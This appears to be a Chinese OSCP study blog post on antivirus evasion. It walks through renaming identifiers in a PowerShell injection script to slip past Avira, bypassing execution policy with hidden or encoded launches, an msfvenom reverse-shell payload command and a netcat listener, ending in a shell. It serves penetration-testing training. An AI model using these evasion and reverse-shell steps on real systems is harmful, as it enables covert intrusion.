❾⁄₈ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 本地进程内存注入实践(下)

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀

​​​​

▶ 信息收集

▶ 漏洞检测
▶ 初始立足点 ➢ 防病毒软件概述 ➢本地进程内存注入实践(下)🔥🔥🔥

▶ 权限提升

▶ 横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.防病毒软件规避

[1.3 规避防病毒软件实践](#1.3 规避防病毒软件实践)

[1.3.2 开始实践](#1.3.2 开始实践)

[1.3.2.4 PowerShell脚本防病毒检测分析](#1.3.2.4 PowerShell脚本防病毒检测分析)

[1.3.2.5 修改.ps脚本中的变量名以绕过防病毒检测](#1.3.2.5 修改.ps脚本中的变量名以绕过防病毒检测)

1.修改操作步骤

2.测试结果

[1.3.2.6 运行修改后的PowerShell脚本](#1.3.2.6 运行修改后的PowerShell脚本)

1.启动并运行脚本(出错)

2.执行策略说明

3.解决当前PowerShell执行策略限制

[1.3.2.7 实现反向Shell](#1.3.2.7 实现反向Shell)

1.建立攻击监听端

2.执行绕过脚本(成功)

3.攻击完成与结果

4.重要警示与局限

[1.3.3 完整攻击链总结](#1.3.3 完整攻击链总结)

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.防病毒软件规避

1.3 规避防病毒软件实践

1.3.2 开始实践

由于寻找一个能绕过所有杀毒软件 的通用方案极为困难且不切实际,在渗透测试时间有限的前提下,最高效的策略 是针对目标网络内实际部署的特定杀毒产品进行定向测试与绕过。

接前文,我们已经定制了一个完整的内存注入攻击脚本,其中包含了实现反向 Shell 功能的核心载荷(反向shell到攻击者主机)。

在本文中,将验证这个powershell脚本(.ps1格式)是否可以被防病毒产品检测出来。如果会,则需要对该脚本进行修改,尝试绕过。并最终再次测试,直到成功为止。


1.3.2.4 PowerShell脚本防病毒检测分析

📊 检测概况

为了验证PowerShell脚本是否会被防病毒产品识别为恶意文件,我们首选的在线检测和分析恶意软件样本的工具是Antiscan.Me,但可悲的是,它不支持ps1格式(powershell脚本扩展名),所以不得不求助于VirusTotal。

我们通过VirusTotal平台进行了在线扫描测试。

🔍 检测结果速览

项目 数据
扫描平台 VirusTotal
支持格式 .ps1 (PowerShell脚本)
参与检测产品数(防病毒软件) 59款
标记为恶意的产品数 28款
检测率 ≈47.5%
本次测试主机安装的杀毒软件 Avira同样标记为恶意**,说明要对.ps1脚本进行绕过处理!!**

⚠️ 关键发现 :本次测试中,近半数防病毒产品将脚本判定为恶意,包括测试主机安装的Avira,说明常规PowerShell恶意脚本容易被识别。


1.3.2.5 修改.ps脚本中的变量名以绕过防病毒检测

🎯 绕过原理

防病毒产品对恶意脚本的检测,很大程度上依赖于静态字符串签名 ------即识别脚本中特定的++函数名、变量名++ 等有意义代码片段。由于PowerShell脚本是解释型文本文件 ,其结构比二进制文件更灵活,因此重命名关键标识符可有效干扰静态签名匹配,从而绕过基础检测。

1.修改操作步骤

将原始脚本中的硬编码类名与函数名进行"无害化"重命名:

原始名称 修改后名称 说明
Win32 iWin32 类名通用化
sc var1 变量名泛化
winFunc var2 函数名泛化

操作流程

  1. 定位脚本中特征明显的标识符

  2. 替换为常见、通用的名称

  3. 另存为新文件(如 bypass.ps1

2.测试结果

把修改后的**bypass.ps1文件传输到安装** Avira 的 Windows 11 客户端上执行快速扫描(Security选项---选择Virus Scans---点击Quick Scan选项下的Scan):

扫描项 结果
原始脚本 被标记为恶意(隔离/删除)
修改后脚本(bypass.ps1) 未被检测为恶意

结论 :通过简单的重命名操作,脚本已能绕过 Avira 的静态签名检测,可正常运行而不被拦截。

⚠️ 重要注意事项

虽然该方法在本测试中有效,但需注意:

  • 云端检测风险 :如将修改后脚本上传至 VirusTotal 等平台,可能触发更高级的云机器学习引擎,导致样本被分析并标记,从而使绕过失效。

  • 影响渗透测试:公开上传可能会使样本被安全厂商收录,影响后续测试的隐蔽性。


1.3.2.6 运行修改后的PowerShell脚本

1.启动并运行脚本(出错)

由于msfvenom默认生成的payload针对x86架构 ,我们需要在Windows 11系统中启动32位版本的PowerShell来确保兼容性。

**注意:**如果要明确指定架构或平台可以使用下面命令:

复制代码
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -a x64 --platform Windows -f powershell > bypass.ps1

启动方式

  • 在开始菜单搜索栏输入 Windows PowerShell (x86)

  • 或在运行对话框中输入 powershell -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden 启动32位版本

    复制代码
    # 明确指定平台(如果需要)
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File bypass.ps1
  • 运行bypass.ps1,出现报错!!! 出现错误提示:执行策略(Execution Policies)阻止了脚本运行 。PowerShell执行策略是一种安全机制,用于控制脚本的执行条件。

2.执行策略说明

根据Microsoft官方文档,执行策略是按每个系统用户范围 设置的,而非系统级别 。默认策略通常较为严格,旨在防止恶意脚本执行(详见:官方执行策略说明)。
执行策略(Execution Policies) 是Windows PowerShell中用于控制脚本执行行为的安全特性。它作为一道防护屏障,防止恶意脚本自动执行,保护系统免受未授权代码运行的影响。

🎯 执行策略的核心作用

作用 说明
访问控制 定义哪些脚本可以运行,哪些被阻止
安全防护 防止意外运行有害脚本
灵活管理 提供多层次的安全控制选项
风险缓解 降低恶意脚本自动执行的威胁

⚠️ 重要提示 :执行策略不是强制性的安全边界 ,而是防止++用户++无意中运行有害脚本的辅助机制。

🌐 **执行策略作用域级别:**优先级层次(从高到低)如下:

作用域 影响范围 持久性 适用场景
🔴 Process 当前PowerShell会话 会话结束即失效 临时测试、单次运行
🟡 CurrentUser 当前用户 永久生效 个人用户定制设置
🟢 LocalMachine 所有用户 永久生效 系统全局配置(管理员权限)
🔵 UserPolicy 特定用户 组策略管理 企业用户管理
🔵 MachinePolicy 特定计算机 组策略管理 企业计算机管理

📊 常见执行策略级别:

策略级别 安全等级 脚本执行权限 典型应用场景
🚫 Restricted(默认) 最高 仅交互式命令 最安全,禁止所有脚本
⚠️ RemoteSigned 本地脚本+签名远程脚本 企业环境,平衡安全与便利
🟡 AllSigned 仅签名脚本 高安全要求环境
🟢 Unrestricted 所有脚本(有警告) 开发测试环境
🔴 Bypass 无限制,无警告 自动化任务、渗透测试
⚪ Undefined 不定 继承上级策略 未明确设置状态

🔧 查看与设置执行策略

①查看当前策略

复制代码
# 查看所有作用域的策略
Get-ExecutionPolicy -List

# 查看当前用户策略
Get-ExecutionPolicy -Scope CurrentUser

②设置执行策略

复制代码
# 设置当前用户策略为RemoteSigned
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

# 设置本地计算机策略(需要管理员权限)
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine

③临时绕过策略(推荐渗透测试使用)

复制代码
# 单次会话绕过,不留痕迹
powershell.exe -ExecutionPolicy Bypass -File script.ps1

🔄 最佳实践建议

  • 开发环境 :使用RemoteSignedUnrestricted

  • 生产环境 :使用AllSignedRemoteSigned

  • 渗透测试 :使用-ExecutionPolicy Bypass参数临时执行

  • 企业环境:通过组策略统一管理,确保一致性


3.解决当前PowerShell执行策略限制

①查看当前用户策略

复制代码
Get-ExecutionPolicy -Scope CurrentUser

结果 :显示为 Undefined(未定义),实际上会继承更高级别的限制策略。

②更改执行策略

复制代码
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

参数说明

  • -ExecutionPolicy Unrestricted:设置为无限制模式

  • -Scope CurrentUser:仅修改当前用户策略

现在,成功将当前用户的执行策略设置为 Unrestricted ,可以正常运行 bypass.ps1 脚本了。

③替代方案

在实际渗透测试中,更推荐使用临时绕过方式,避免留下系统修改痕迹:

方法一:命令行参数绕过

复制代码
powershell.exe -ExecutionPolicy Bypass -File bypass.ps1

方法二:编码命令执行

复制代码
powershell -EncodedCommand <Base64编码的脚本>

方法对比:

方法 持久性 痕迹 推荐场景
Set-ExecutionPolicy 永久更改 留下日志 需要长期使用
-ExecutionPolicy Bypass 单次生效 无持久痕迹 渗透测试首选
-EncodedCommand 单次生效 无痕迹 隐蔽执行

建议 :在实际攻击中,优先使用-ExecutionPolicy Bypass参数单次运行脚本,既能执行所需操作,又最大程度减少对目标系统的影响和检测风险。


1.3.2.7 实现反向Shell

1.建立攻击监听端

在Kali攻击机上,我们首先启动一个Netcat监听器 ,这是接收反弹连接的"后门"。通过执行命令 nc -lvnp 443,在443端口上开启了一个静默的监听服务,等待目标主机主动连接回来。

2.执行绕过脚本(成功)

在目标Windows 11主机上,我们运行了已经过修改和绕过的 bypass.ps1 脚本。得益于前期的两项关键操作,脚本得以顺利执行:

  • 静态签名绕过:通过重命名关键变量和函数,脚本躲过了防病毒软件(Avira)基于静态签名的检测。

  • 执行策略绕过 :通过调整或临时绕过PowerShell的ExecutionPolicy,清除了系统自身的安全策略障碍。

3.攻击完成与结果

脚本执行后,其内嵌的Shellcode 会在目标++内存中++运行主动向攻击机的监听端口发起网络连接 。连接成功后,我们在Kali的Netcat终端上立即获得了一个交互式命令行Shell 。这标志着一次成功的无文件攻击,因为恶意负载全程在内存中执行,无需在磁盘上落地可执行文件。

核心成果 :我们成功地规避了传统防病毒产品(Avira)的检测,实现了从目标系统到攻击机的远程控制通道。

4.重要警示与局限

尽管本次测试绕过了传统防病毒软件,但点出了一个至关重要的现实:

  • 对抗EDR的挑战 :在现代企业安全环境中,更高级的终端检测与响应(EDR) 系统普遍部署。这些系统不仅依赖静态签名,更通过:行为监控、异常检测、机器学习云威胁情报来发现可疑活动。

  • 攻击可能暴露 :一个熟练的安全运营中心(SOC)在配备强大EDR的情况下,完全有可能实时检测到此类恶意进程创建、网络连接异常行为,并向安全团队发出警报,从而在很短时间内(例如几分钟)使这次攻击失效并被追溯。


1.3.3 完整攻击链总结

本次演示构建了一个清晰的攻击链路,揭示了从载荷生成到最终控制的完整闭环:

  1. 载荷生成 :使用 msfvenom 生成PowerShell格式的Shellcode。

  2. 检测测试:通过VirusTotal验证原始脚本的检出率。

  3. 静态绕过:修改变量/函数名,混淆脚本以绕过静态签名检测。

  4. 环境适配:解决脚本架构(x86)与执行策略的兼容性问题。

  5. 建立监听:在攻击端配置Netcat等待反向连接。

  6. 执行与控制:在目标端运行绕过脚本,成功获取反向Shell。

最终结论 :虽然简单的签名绕过技术在对传统防病毒软件(AV) 的测试中可能奏效,但面对具备高级威胁狩猎能力的现代EDR和SOC,攻击的隐蔽性和成功率将大幅下降。这强调了在真实攻防对抗中,需要采用更为复杂和多层次的技术(如代码加密、API间接调用、进程注入、信任进程伪装等)来规避动态和行为检测。


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
大方子1 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
成茂峰2 天前
软考高级·系统架构设计师 | 四、信息技术安全知识
安全·信息安全·系统架构·架构设计师
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf